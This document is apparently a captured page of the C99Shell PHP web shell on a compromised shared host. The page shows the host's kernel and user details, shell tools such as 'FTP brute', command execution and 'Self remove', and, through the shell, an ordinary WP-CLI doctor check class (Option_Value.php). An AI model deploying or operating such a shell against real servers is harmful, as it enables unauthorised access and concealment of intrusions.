!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.3.27 

uname -a: Linux pdx1-shared-a4-04 6.6.104-grsec-jammy+ #3 SMP Tue Sep 16 00:28:11 UTC 2025 x86_64 

uid=6659440(dh_z2jmpm) gid=2086089(pg10499364) groups=2086089(pg10499364)  

Safe-mode: OFF (not secure)

/usr/local/wp/vendor/wp-cli/doctor-command/src/Check/   drwxr-xr-x
Free 719.51 GB of 879.6 GB (81.8%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Option_Value.php (2.04 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace WP_CLI\Doctor\Check;

use WP_CLI;
use WP_CLI\Doctor\Check;

/**
 * Confirms the expected value of the '%option%' option.
 */
class Option_Value extends Check {

    /**
     * Name of the option.
     *
     * @var string
     */
    protected $option;

    /**
     * Expected value of the option.
     *
     * @var mixed
     */
    protected $value;

    /**
     * Value that the option is expected not to be.
     *
     * @var mixed
     */
    protected $value_is_not;

    public function run() {

        if ( isset( $this->value ) && isset( $this->value_is_not ) ) {
            $this->set_status( 'error' );
            $this->set_message( 'You must use either "value" or "value_is_not".' );
            return;
        }

        $actual_value = get_option( $this->option );

        if ( isset( $this->value ) ) {
            if ( $actual_value == $this->value ) { // phpcs:ignore Universal.Operators.StrictComparisons -- Keep existing behavior.
                $status  = 'success';
                $message = "Option '{$this->option}' is '{$this->value}' as expected.";
            } else {
                $status  = 'error';
                $message = "Option '{$this->option}' is '{$actual_value}' but expected to be '{$this->value}'.";
            }
        } elseif ( isset( $this->value_is_not ) ) {
            if ( $actual_value == $this->value_is_not ) { // phpcs:ignore Universal.Operators.StrictComparisons -- Keep existing behavior.
                $status  = 'error';
                $message = "Option '{$this->option}' is '{$actual_value}' and expected not to be.";
            } else {
                $status  = 'success';
                $message = "Option '{$this->option}' is not '{$this->value_is_not}' as expected.";
            }
        }

        $this->set_status( $status );
        $this->set_message( $message );

        // Message translation for options
        switch ( $this->option ) {
            case 'blog_public':
                $public_actual   = $actual_value ? 'public' : 'private';
                $public_expected = 'public' === $public_actual ? 'private' : 'public';
                if ( 'success' === $status ) {
                    $this->set_message( "Site is {$public_actual} as expected." );
                } else {
                    $this->set_message( "Site is {$public_actual} but expected to be {$public_expected}." );
                }
                break;

            default:
                # code...
                break;
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0116 ]--